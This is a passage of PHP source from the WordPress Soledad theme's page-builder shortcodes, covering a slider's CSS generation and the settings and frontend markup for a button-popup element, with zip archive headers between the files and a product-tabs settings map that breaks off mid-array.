		$css_custom .= $id_custom_slider . ' .penci-repeater-item-' . $slide_count . ' .penci-ctslide-inner .penci-ctslider-content{';

		if ( 'left' == $horizontal_position ) {
			$css_custom .= 'margin-right: auto;';
		} elseif ( 'center' == $horizontal_position ) {
			$css_custom .= 'margin: 0 auto;';
		} elseif ( 'right' == $horizontal_position ) {
			$css_custom .= 'margin-left: auto;';

			if ( ! $atts['content_max_width'] ) {
				$css_custom .= 'max-width: 66%;';
			}
		}
		$css_custom .= '}';
	}
	if ( $vertical_position ) {
		$css_custom .= $id_custom_slider . ' .penci-repeater-item-' . $slide_count . ' .penci-ctslide-inner{';

		if ( 'top' == $vertical_position ) {
			$css_custom .= 'align-items: flex-start;';
		} elseif ( 'middle' == $vertical_position ) {
			$css_custom .= 'align-items: center;';
		} elseif ( 'bottom' == $vertical_position ) {
			$css_custom .= 'align-items: flex-end;';
		}
		$css_custom .= '}';
	}

	if ( $background_image ) {
		$url_bgimg_item = wp_get_attachment_url( $background_image );
		$css_custom     .= $id_custom_slider . ' .penci-repeater-item-' . $slide_count . ' .penci-ctslide-bg{ background-image: url(' . esc_url( $url_bgimg_item ) . '); }';
	}

	if ( $content_color ) {
		$css_custom .= $id_custom_slider . ' .penci-repeater-item-' . $slide_count . ' .pencislider-title,';
		$css_custom .= $id_custom_slider . ' .penci-repeater-item-' . $slide_count . ' .pencislider-caption{ color:' . esc_attr( $content_color ) . ' }';
	}

	$bgoverlay_color   = isset( $slide['bgoverlay_color'] ) ? $slide['bgoverlay_color'] : '';
	$bgoverlay_opacity = isset( $slide['bgoverlay_opacity'] ) ? $slide['bgoverlay_opacity'] : '';
	$bgoverlay_padding = isset( $slide['bgoverlay_padding'] ) ? $slide['bgoverlay_padding'] : '';

	if ( 'yes' == $heading_overlay ||  'yes' == $description_overlay ) {
		if ( $bgoverlay_color ) {
			$css_custom .= $id_custom_slider . ' .penci-repeater-item-' . $slide_count . ' .pencislider-title-overlay .pslider-bgoverlay-inner:before,';
			$css_custom .= $id_custom_slider . ' .penci-repeater-item-' . $slide_count . ' .pencislider-caption-overlay .pslider-bgoverlay-inner:before{ background-color:' . esc_attr( $bgoverlay_color ) . ' }';
		}

		if ( $bgoverlay_padding ) {
			$css_custom .= $id_custom_slider . ' .penci-repeater-item-' . $slide_count . ' .pencislider-title-overlay .pslider-bgoverlay-inner,';
			$css_custom .= $id_custom_slider . ' .penci-repeater-item-' . $slide_count . ' .pencislider-caption-overlay .pslider-bgoverlay-inner{ padding:' . esc_attr( $bgoverlay_padding ) . ' }';
		}

		if ( $bgoverlay_opacity ) {
			$css_custom .= $id_custom_slider . ' .penci-repeater-item-' . $slide_count . ' .pencislider-title-overlay .pslider-bgoverlay-inner:before,';
			$css_custom .= $id_custom_slider . ' .penci-repeater-item-' . $slide_count . ' .pencislider-caption-overlay .pslider-bgoverlay-inner:before{ opacity:' . esc_attr( $bgoverlay_opacity ) . ' }';
		}
	}

	$slide_count ++;
}

if( $atts['slides_img_ratio'] ){
	$css_custom .= $id_custom_slider . ' .penci-ctslide-wrap{ height: auto !important; }';
	$css_custom .= $id_custom_slider . ' .penci-ctslide-wrap:before{ content:"";padding-top:' . esc_attr( $atts['slides_img_ratio'] ) . '% !important; }';
} elseif ( $atts['slides_height'] ) {
	$css_custom .= $id_custom_slider . ' .penci-ctslide-wrap{ height: ' . esc_attr( $atts['slides_height'] ) . 'px !important; }';
}
if ( $atts['content_max_width'] ) {
	$css_custom .= $id_custom_slider . ' .penci-ctslider-content{ max-width: ' . esc_attr( $atts['content_max_width'] ) . '; }';
}
$content_padding_ctcss = '';
if ( $atts['slides_paddingl'] ) {
	$content_padding_ctcss .= 'padding-left:' . esc_attr( $atts['slides_paddingl'] ) . ';';
}
if ( $atts['slides_paddingr'] ) {
	$content_padding_ctcss .= 'padding-right:' . esc_attr( $atts['slides_paddingr'] ) . ';';
}
if ( $atts['slides_paddingt'] ) {
	$content_padding_ctcss .= 'padding-top:' . esc_attr( $atts['slides_paddingt'] ) . ';';
}
if ( $atts['slides_paddingb'] ) {
	$content_padding_ctcss .= 'padding-bottom:' . esc_attr( $atts['slides_paddingb'] ) . ';';
}
if ( $content_padding_ctcss ) {
	$css_custom .= $id_custom_slider . ' .penci-ctslide-inner{' . esc_attr( $content_padding_ctcss ) . '}';
}

// Heading
$heading_spacing_ctcss = '';
if ( $atts['heading_spacing'] ) {
	$heading_spacing_ctcss .= 'margin-bottom:' . esc_attr( esc_attr( $atts['heading_spacing'] ) ) . ';';
}
if ( $atts['heading_color'] ) {
	$heading_spacing_ctcss .= 'color:' . esc_attr( esc_attr( $atts['heading_color'] ) ) . ';';
}
if ( $heading_spacing_ctcss ) {
	$css_custom .= $id_custom_slider . ' .pencislider-title{' . esc_attr( $heading_spacing_ctcss ) . '}';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['heading_size'],
	'font_style' => $atts['heading_typography'],
	'template'   => $id_custom_slider . ' .pencislider-title{ %s }',
) );

if( isset( $atts['heading_bgoverlay_opacity'] ) && $atts['heading_bgoverlay_opacity'] ) {
	$css_custom .= $id_custom_slider . ' .pencislider-title-overlay .pslider-bgoverlay-inner:before{ opacity:' . esc_attr( $atts['heading_bgoverlay_opacity'] ) . '; }';
}
if( isset( $atts['heading_bgoverlay_color'] ) && $atts['heading_bgoverlay_color'] ) {
	$css_custom .= $id_custom_slider . ' .pencislider-title-overlay .pslider-bgoverlay-inner:before{ background-color:' . esc_attr( $atts['heading_bgoverlay_color'] ) . '; }';
}
if( isset( $atts['heading_bgoverlay_padding'] ) && $atts['heading_bgoverlay_padding'] ) {
	$css_custom .= $id_custom_slider . ' .pencislider-title-overlay .pslider-bgoverlay-inner{ padding:' . esc_attr( $atts['heading_bgoverlay_padding'] ) . '; }';
}

// Description
$desc_ctcss = '';
if ( $atts['desc_spacing'] ) {
	$desc_ctcss .= 'margin-bottom:' . esc_attr( esc_attr( $atts['desc_spacing'] ) ) . ';';
}
if ( $atts['desc_color'] ) {
	$desc_ctcss .= 'color:' . esc_attr( $atts['desc_color'] ) . ';';
}
if ( $desc_ctcss ) {
	$css_custom .= $id_custom_slider . ' .pencislider-caption{' . esc_attr( $desc_ctcss ) . '}';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['desc_size'],
	'font_style' => $atts['desc_typo'],
	'template'   => $id_custom_slider . ' .pencislider-caption{ %s }',
) );

if( isset( $atts['desc_bgoverlay_opacity'] ) && $atts['desc_bgoverlay_opacity'] ) {
	$css_custom .= $id_custom_slider . ' .pencislider-caption .pslider-bgoverlay-inner:before{ opacity:' . esc_attr( $atts['desc_bgoverlay_opacity'] ) . '; }';
}
if( isset( $atts['desc_bgoverlay_color'] ) && $atts['desc_bgoverlay_color'] ) {
	$css_custom .= $id_custom_slider . ' .pencislider-caption .pslider-bgoverlay-inner:before{ background-color:' . esc_attr( $atts['desc_bgoverlay_color'] ) . '; }';
}
if( isset( $atts['desc_bgoverlay_padding'] ) && $atts['desc_bgoverlay_padding'] ) {
	$css_custom .= $id_custom_slider . ' .pencislider-caption .pslider-bgoverlay-inner{ padding:' . esc_attr( $atts['desc_bgoverlay_padding'] ) . '; }';
}

// Button
$css_btn_ct = '';
if ( $atts['button1_width'] ) {
	$css_btn_ct .= 'width:' . esc_attr( esc_attr( $atts['button1_width'] ) ) . ';';
}
if ( $atts['button1_height'] ) {
	$css_btn_ct .= 'height:' . esc_attr( esc_attr( $atts['button1_height'] ) ) . ';';
}
if ( $atts['button1_border_width'] ) {
	$css_btn_ct .= 'border-width:' . esc_attr( esc_attr( $atts['button1_border_width'] ) ) . ';';
}
if ( $atts['button1_border_radius'] ) {
	$css_btn_ct .= 'border-radius:' . esc_attr( esc_attr( $atts['button1_border_radius'] ) ) . ';';
}
if ( $atts['button1_color'] ) {
	$css_btn_ct .= 'color:' . esc_attr( esc_attr( $atts['button1_color'] ) ) . ';';
}
if ( $atts['button1_bgcolor'] ) {
	$css_btn_ct .= 'background-color:' . esc_attr( esc_attr( $atts['button1_bgcolor'] ) ) . ';';
}
if ( $atts['button1_border_color'] ) {
	$css_btn_ct .= 'border-color:' . esc_attr( esc_attr( $atts['button1_border_color'] ) ) . ';';
}
if ( $css_btn_ct ) {
	$css_custom .= $id_custom_slider . ' .penci-slider_btnwrap .pencislider-btn-1{' . esc_attr( $css_btn_ct ) . '}';
}
$css_btn_ct_hover = '';
if ( $atts['button1_hcolor'] ) {
	$css_btn_ct_hover .= 'color:' . esc_attr( esc_attr( $atts['button1_hcolor'] ) ) . ';';
}
if ( $atts['button1_hbgcolor'] ) {
	$css_btn_ct_hover .= 'background-color:' . esc_attr( esc_attr( $atts['button1_hbgcolor'] ) ) . ';';
}
if ( $atts['button1_hbordercolor'] ) {
	$css_btn_ct_hover .= 'border-color:' . esc_attr( esc_attr( $atts['button1_hbordercolor'] ) ) . ';';
}

if ( $css_btn_ct_hover ) {
	$css_custom .= $id_custom_slider . ' .penci-slider_btnwrap .pencislider-btn-1:hover{' . esc_attr( $css_btn_ct_hover ) . '}';
}

$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['button1_size'],
	'font_style' => $atts['button1_typo'],
	'template'   => $id_custom_slider . ' .pencislider-btn-1{ %s }',
) );

// Button 2
$css_btn_ct2 = '';
if ( $atts['button2_width'] ) {
	$css_btn_ct2 .= 'width:' . esc_attr( esc_attr( $atts['button2_width'] ) ) . ';';
}
if ( $atts['button2_height'] ) {
	$css_btn_ct2 .= 'height:' . esc_attr( esc_attr( $atts['button2_height'] ) ) . ';';
}
if ( $atts['button2_border_width'] ) {
	$css_btn_ct2 .= 'border-width:' . esc_attr( esc_attr( $atts['button2_border_width'] ) ) . ';';
}
if ( $atts['button2_border_radius'] ) {
	$css_btn_ct2 .= 'border-radius:' . esc_attr( esc_attr( $atts['button2_border_radius'] ) ) . ';';
}
if ( $atts['button2_color'] ) {
	$css_btn_ct2 .= 'color:' . esc_attr( esc_attr( $atts['button2_color'] ) ) . ';';
}
if ( $atts['button2_bgcolor'] ) {
	$css_btn_ct2 .= 'background-color:' . esc_attr( esc_attr( $atts['button2_bgcolor'] ) ) . ';';
}
if ( $atts['button2_border_color'] ) {
	$css_btn_ct2 .= 'border-color:' . esc_attr( esc_attr( $atts['button2_border_color'] ) ) . ';';
}
if ( $css_btn_ct2 ) {
	$css_custom .= $id_custom_slider . ' .penci-slider_btnwrap .pencislider-btn-2{' . esc_attr( $css_btn_ct2 ) . '}';
}
$css_btn_ct2_hover = '';
if ( $atts['button2_hcolor'] ) {
	$css_btn_ct2_hover .= 'color:' . esc_attr( esc_attr( $atts['button2_hcolor'] ) ) . ';';
}
if ( $atts['button2_hbgcolor'] ) {
	$css_btn_ct2_hover .= 'background-color:' . esc_attr( esc_attr( $atts['button2_hbgcolor'] ) ) . ';';
}
if ( $atts['button2_hbordercolor'] ) {
	$css_btn_ct2_hover .= 'border-color:' . esc_attr( esc_attr( $atts['button2_hbordercolor'] ) ) . ';';
}
if ( $css_btn_ct2_hover ) {
	$css_custom .= $id_custom_slider . ' .penci-slider_btnwrap .pencislider-btn-2:hover{' . esc_attr( $css_btn_ct2_hover ) . '}';
}

$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['button2_size'],
	'font_style' => $atts['button2_typo'],
	'template'   => $id_custom_slider . ' .pencislider-btn-2{ %s }',
) );

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_custom_slider, $responsive_spacing );
}


if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\բZ  Z  0  js_composer/shortcodes/button_popup/settings.phpnu [        <?php
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => 'penci_button_popup',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/button_popup/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Button Popup', 'soledad' ),
	'description'   => __( 'Show popup when click a button', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( array(

		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_popup_gnr',
			'heading'          => esc_html__( 'Popup Settings', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),

		array(
			'type'       => 'textfield',
			'heading'    => __( 'Button Text', 'soledad' ),
			'param_name' => 'text',
			'std'        => '',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Alignment', 'soledad' ),
			'param_name' => 'align',
			'value'      => array(
				__( 'Align Left', 'soledad' )   => 'left',
				__( 'Align Center', 'soledad' ) => 'center',
				__( 'Align Right', 'soledad' )  => 'right',
			),
			'std'        => 'center',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Popup Content Style', 'soledad' ),
			'param_name' => 'popup_cstyle',
			'value'      => array(
				__( 'Custom Text/HTML', 'soledad' ) => 'text',
				__( 'Penci Block', 'soledad' )      => 'block',
			),
			'std'        => 'text',
		),

		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_popup_ct',
			'heading'          => esc_html__( 'Popup Content', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),

		array(
			'type'       => 'textarea_html',
			'heading'    => __( 'Popup Content', 'soledad' ),
			'param_name' => 'popup_content',
		),

		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Popup Block', 'soledad' ),
			'param_name' => 'popup_block',
			'value'      => penci_builder_block_list( true ),
		),

		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Popup Width', 'soledad' ),
			'param_name' => 'popup_width',
		),

		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Popup Height', 'soledad' ),
			'param_name' => 'popup_height',
		),

		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Popup Position', 'soledad' ),
			'param_name' => 'popup_position',
			'value'      => array(
				'Top Left'      => 'top-left',
				'Top Center'    => 'top-center',
				'Top Right'     => 'top-right',
				'Middle Left'   => 'middle-left',
				'Middle Center' => 'middle-center',
				'Middle Right'  => 'middle-right',
				'Bottom Left'   => 'bottom-left',
				'Bottom Center' => 'bottom-center',
				'Bottom Right'  => 'bottom-right',
			),
			'std'        => 'middle-center',
		),

		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Popup Open Animation Style', 'soledad' ),
			'param_name' => 'popup_anityle',
			'value'      => array(
				'Move To Left'   => 'move-to-left',
				'Move To Right'  => 'move-to-right',
				'Move To Top'    => 'move-to-top',
				'Move To Bottom' => 'move-to-bottom',
				'Fade In'        => 'fadein',
				'Zoom In'        => 'zoomin',
			),
			'std'        => 'fadein',
		),

		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Add Sub Text?', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'add_subtext'
		),

		array(
			'type'       => 'textfield',
			'heading'    => __( 'Sub Text', 'soledad' ),
			'param_name' => 'subtext',
			'dependency' => array( 'element' => 'add_subtext', 'value' => array( 'yes' ) ),
		),

		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Sub Text Align', 'soledad' ),
			'param_name' => 'subtext_align',
			'value'      => array(
				__( 'Align Left', 'soledad' )   => 'left',
				__( 'Align Center', 'soledad' ) => 'center',
				__( 'Align Right', 'soledad' )  => 'right',
			),
			'std'        => 'center',
			'dependency' => array( 'element' => 'add_subtext', 'value' => array( 'yes' ) ),
		),

		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Add Icon to Button?', 'soledad' ),
			'param_name'  => 'add_icon',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
		),

		array(
			'type'       => 'iconpicker',
			'heading'    => __( 'Button Icon', 'soledad' ),
			'param_name' => 'button_icon',
			'value'      => 'fa fa-adjust',
			'dependency' => array( 'element' => 'add_icon', 'value' => array( 'yes' ) ),
		),

		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Icon Position', 'soledad' ),
			'param_name' => 'icon_pos',
			'value'      => array(
				__( 'Align Left', 'soledad' )   => 'left',
				__( 'Align Center', 'soledad' ) => 'center',
			),
			'std'        => 'left',
			'dependency' => array( 'element' => 'add_icon', 'value' => array( 'yes' ) ),
		),

		array(
			'type'       => 'textfield',
			'heading'    => __( 'Button ID', 'soledad' ),
			'param_name' => 'button_id',
		),

	), Penci_Vc_Params_Helper::heading_block_params(), Penci_Vc_Params_Helper::params_heading_typo_color(), Penci_Vc_Params_Helper::extra_params(), array(

		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_popup_btn',
			'heading'          => esc_html__( 'Button Settings', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),

		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => 'btn_typo',
			'value'      => '',
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'btn_size',
			'heading'    => __( 'Font Size for Button Text', 'soledad' ),
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Text Color', 'soledad' ),
			'param_name'       => 'btn_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Text Hover Color', 'soledad' ),
			'param_name'       => 'btn_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Popup Overlay Background Color', 'soledad' ),
			'param_name'       => 'overlay_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Popup Overlay Opacity', 'soledad' ),
			'param_name'       => 'overlay_opacity',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	) )
) );
PK     0w\;s  s  0  js_composer/shortcodes/button_popup/frontend.phpnu [        <?php
$block_id       = Penci_Vc_Helper::get_unique_id_block( 'button_popup' );
$settings       = vc_map_get_attributes( $this->getShortcode(), $atts );
$text           = $settings['text'] ? $settings['text'] : '';
$link           = '';
$button_id_attr = '';
$button_id      = $settings['button_id'] ? $settings['button_id'] : '';
if ( $button_id ) {
	$button_id      = str_replace( ' ', '', $button_id );
	$button_id_attr = ' id="' . $button_id . '"';
}
$add_icon       = $settings['add_icon'] ? $settings['add_icon'] : '';
$icon_pos       = $settings['icon_pos'] ? $settings['icon_pos'] : 'left';
$align          = $settings['align'] ? $settings['align'] : 'none';
$align_class    = 'pcbtn-align-' . $align;
$add_subtext    = $settings['add_subtext'] ? $settings['add_subtext'] : '';
$subtext        = $settings['subtext'] ? $settings['subtext'] : '';
$button_icon    = $settings['button_icon'] ? $settings['button_icon'] : array();
$icon_html      = '';
$button_classes = 'pc-popup-btn pcbtn pcbtn-icon-' . $icon_pos;
if ( 'yes' == $add_icon && ! empty( $button_icon ) ) {
	$icon_html = '<i class="' . $button_icon . '"></i>';
}
$id             = 'penci-btn-popup-' . $block_id;
$anistyle       = isset( $settings['popup_anityle'] ) && $settings['popup_anityle'] ? $settings['popup_anityle'] : 'move-to-top';
$popup_position = isset( $settings['popup_position'] ) && $settings['popup_position'] ? $settings['popup_position'] : 'middle-center';
$popup_cstyle   = isset( $settings['popup_cstyle'] ) && $settings['popup_cstyle'] ? $settings['popup_cstyle'] : 'text';
?>
    <div id="<?php echo $block_id; ?>" class="pcbtn-wrapper penci-button-popup <?php echo $align_class; ?>">
        <a data-popup="<?php echo $id; ?>"
           data-position="<?php echo esc_attr( $popup_position . ' penci-pps-' . $block_id ); ?>"
           class="<?php echo $button_classes; ?>"
           href="#<?php echo $id; ?>"<?php
		echo $button_id_attr; ?>>
				<span class="pcbtn-wrapperin">
					<span class="pcbtn-content"><?php if ( 'left' == $icon_pos ): echo $icon_html; endif; ?><?php echo do_shortcode( $text ); ?><?php if ( 'right' == $icon_pos ): echo $icon_html; endif; ?></span>
					<?php if ( 'yes' == $add_subtext && $subtext ) { ?>
                        <span class="pcbtn-subtext"><?php echo do_shortcode( $subtext ); ?></span>
					<?php } ?>
				</span>
        </a>
    </div>
    <div id="<?php echo $id; ?>"
         class="<?php echo esc_attr( $anistyle ); ?> <?php echo esc_attr( $popup_position ); ?> mfp-with-anim button-popup-content">
		<?php if ( 'text' == $popup_cstyle ) {
			echo do_shortcode( $settings['popup_content'] );
		} else if ( 'block' == $popup_cstyle && $settings['popup_block'] ) {
			$popup_render_content = '';
			$popup_block_id       = get_page_by_path( $settings['popup_block'], OBJECT, 'penci-block' )->ID;
			if ( $popup_block_id && did_action( 'elementor/loaded' ) && \Elementor\Plugin::$instance->documents->get( $popup_block_id )->is_built_with_elementor() ) {
				$popup_render_content .= penci_get_elementor_content( $popup_block_id );
			} else {
				$popup_render_content .= do_shortcode( get_post( $popup_block_id )->post_content );

				$shortcodes_custom_css = get_post_meta( $popup_block_id, '_wpb_shortcodes_custom_css', true );

				$popup_render_content .= '<style data-type="vc_shortcodes-custom-css">';
				if ( ! empty( $shortcodes_custom_css ) ) {
					$popup_render_content .= $shortcodes_custom_css;
				}
				$popup_render_content .= '</style>';
			}
			echo $popup_render_content;
		} ?>
    </div>
<?php
$id_block   = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom = Penci_Vc_Helper::get_heading_block_css( $id_block, $atts );
if ( $settings['btn_color'] ) {
	$css_custom .= $id_block . ' a span.pcbtn-content{ color:' . esc_attr( $settings['btn_color'] ) . ';}';
}
if ( $settings['btn_hcolor'] ) {
	$css_custom .= $id_block . ' a:hover span.pcbtn-content{ color:' . esc_attr( $settings['btn_color'] ) . ';}';
}
if ( $settings['popup_height'] ) {
	$css_custom .= '#penci-btn-popup-' . $block_id . '.button-popup-content{ min-height:' . esc_attr( $settings['popup_height'] ) . 'px;}';
}
if ( $settings['popup_width'] ) {
	$css_custom .= '#penci-btn-popup-' . $block_id . '.button-popup-content{ max-width:' . esc_attr( $settings['popup_width'] ) . 'px;}';
}
if ( $settings['overlay_bgcolor'] ) {
	$css_custom .= '.mfp-bg.penci-pps-' . $block_id . '{background-color:' . esc_attr( $settings['overlay_bgcolor'] ) . ';}';
}
if ( $settings['overlay_opacity'] ) {
	$css_custom .= '.mfp-ani-wrap.mfp-ready.mfp-bg.penci-pps-' . $block_id . '{opacity:' . esc_attr( $settings['overlay_opacity'] ) . ';}';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $settings['btn_size'],
	'font_style' => $settings['btn_typo'],
	'template'   => $id_block . ' span.pcbtn-content{ %s }',
) );
if ( $settings['responsive_spacing'] ) {
	$css_custom .= penci_extract_spacing_style( $id_block, $settings['responsive_spacing'] );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
wp_enqueue_script( 'penci-button-popup', PENCI_SOLEDAD_URL . '/inc/elementor/assets/js/penci-button-popup.js', array( 'jquery' ), '1.0', true );
PK     0w\B6/  /  0  js_composer/shortcodes/product_tabs/settings.phpnu [        <?php
vc_map( array(
	'name'                    => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Product Tabs', 'soledad' ),
	'base'                    => 'penci_product_tabs',
	'as_parent'               => array( 'only' => 'penci_product_tab' ),
	'content_element'         => true,
	'show_settings_on_create' => true,
	'weight'                  => 700,
	'html_template'           => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/product_tabs/frontend.php',
	'category'                => penci_get_theme_name( 'Soledad' ),
	'description'             => esc_html__( 'Product tabs for your marketplace', 'soledad' ),
	'icon'                    => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'params'                  => array(
		/**
		 * Title
		 */ array(
			'type'       => 'textfield',
			'heading'    => esc_html__( 'Tabs title', 'soledad' ),
			'param_name' => 'title',
		),
		/**
		 * Image
		 */ array(
			'type'             => 'attach_image',
			'heading'          => esc_html__( 'Icon image', 'soledad' ),
			'param_name'       => 'image',
			'value'            => '',
			'hint'             => esc_html__( 'Select image from media library.', 'soledad' ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),

		array(
			'type'             => 'textfield',
			'heading'          => esc_html__( 'Images size', 'soledad' ),
			'param_name'       => 'img_size',
			'hint'             => esc_html__( 'Enter image size. Example: \'thumbnail\', \'medium\', \'large\', \'full\' or other sizes defined by current theme. Alternatively enter image size in pixels: 200x100 (Width x Height). Leave empty to use \'thumbnail\' size.', 'soledad' ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'description'      => esc_html__( 'Example: \'thumbnail\', \'medium\', \'large\', \'full\' or enter image size in pixels: \'200x100\'.', 'soledad' ),
		),
		/**
		 * Style
		 */ array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Tabs color', 'soledad' ),
			'param_name'       => 'color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Design', 'soledad' ),
			'param_name'       => 'design',
			'value'            => array(
				esc_html__( 'Default', 'soledad' )     => 'default',
				esc_html__( 'Simple', 'soledad' )      => 'simple',
				esc_html__( 'Alternative', 'soledad' ) => 'alt',
			),
			'std'              => 'default',
			'edit_field_class' => 'vc_col-sm-6 vc_column title-align',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Alignment', 'soledad' ),
			'param_name'       => 'alignment',
			'value'            => array(
				esc_html__( 'Left', 'soledad' )   => 'left',
				esc_html__( 'Center', 'soledad' ) => 'center',
				esc_html__( 'Right', 'soledad' )  => 'right',
			),
			'dependency'       => array(
				'element' => 'design',
				'value'   => array( 'default' ),
			),
			'std'              => 'center',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'textfield',
			'heading'          => esc_html__( 'Extra class name', 'soledad' ),
			'param_name'       => 'el_class',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'hint'             => esc_html__( 'If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'soledad' ),
		),
		array(
			'type'             => 'dropdown',
			'group'            => 'Layout & Design',
			'heading'          => __( 'Products Display', 'soledad' ),
			'value'            => array(
				esc_html__( 'Grid', 'soledad' )     => 'grid',
				esc_html__( 'List', 'soledad' )     => 'list',
				esc_html__( 'Carousel', 'soledad' ) => 'carousel',
			),
			'std'              => 'grid',
			'param_name'       => 'layout',
			'edit_field_class' => 'vc_col-sm-4',
		),
		array(
			'type'             => 'dropdown',
			'group'            => 'Layout & Design',
			'heading'          => __( 'Columns', 'soledad' ),
			'value'            => array(
				esc_html__( '2 Columns', 'soledad' ) => 2,
				esc_html__( '3 Columns', 'soledad' ) => 3,
				esc_html__( '4 Columns', 'soledad' ) => 4,
				esc_html__( '5 Columns', 'soledad' ) => 5,
				esc_html__( '6 Columns', 'soledad' ) => 6,
			),
			'std'              => 3,
			'param_name'       => 'columns',
			'edit_field_class' => 'vc_col-sm-4',
		),
		array(
			'type'             => 'dropdown',
			'group'            => 'Layout & Design',
			'heading'          => __( 'Tablet Columns', 'soledad' ),
			'value'            => array(
				esc_html__( '2 Columns', 'soledad' ) => 2,
				esc_html__( '3 Columns', 'soledad' ) => 3,
				esc_html__( '4 Columns', 'soledad' ) => 4,
				esc_html__( '5 Columns', 'soledad' ) => 5,
				esc_html__( '6 Columns', 'soledad' ) => 6,
			),
			'std'              => 2,
			'param_name'       => 'tablet_columns',
			'edit_field_class' => 'vc_col-sm-4',
		),
		array(
			'type'             => 'dropdown',
			'group'            => 'Layout & Design',
			'heading'          => __( 'Mobile Columns', 'soledad' ),
			'value'            => array(
				esc_html__( '2 Columns', 'soledad' ) => 2,
				esc_html__( '3 Columns', 'soledad' ) => 3,
				esc_html__( '4 Columns', 'soledad' ) => 4,
				esc_html__( '5 Columns', 'soledad' ) => 5,
				esc_html__( '6 Columns', 'soledad' ) => 6,
			),
			'std'              => 1,
			'param_name'       => 'mobile_columns',
			'edit_field_class' => 'vc_col-sm-4',
		),
		array(
			'type'             => 'textfield',
			'group'            => 'Layout & Design',
			'heading'          => __( 'Items per page', 'soledad' ),
			'std'              => '12',
			'param_name'       => 'items_per_page',
			'edit_field_class' => 'vc_col-sm-4',
		),
		array(
			'type'             => 'dropdown',
			'group'            => 'Layout & Design',
			'heading'          => __( 'Paginations', 'soledad' ),
			'value'            => array(
				esc_html__( 'Inherit', 'soledad' )           => '',
				esc_html__( 'Load more button', 'soledad' )  => 'loadmore',
				esc_html__( 'Infinit scrolling', 'soledad' ) => 'infinit',
				esc_html__( 'Next/Previous', 'soledad' )     => 'next_previous',
				esc_html__( 'Links Number', 'soledad' )      => 'links',
				esc_html__( 'Hidden', 'soledad' )            => 'none',
			),
			'std'              => '',
			'param_name'       => 'pagination',
			'edit_field_class' => 'vc_col-sm-4',
		),

		// Carousel Settings
		array(
			'type'       => 'penci_responsive_sizes',
			'group'      => 'Layout & Design',
			'heading'    => __( 'Scroll per page', 'soledad' ),
			'std'        => '3',
			'param_name' => 'scroll_per_page',
			'dependency' => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),

		array(
			'type'        => 'penci_switch',
			'group'       => 'Layout & Design',
			'heading'     => __( 'Show Next Previous Button', 'soledad' ),
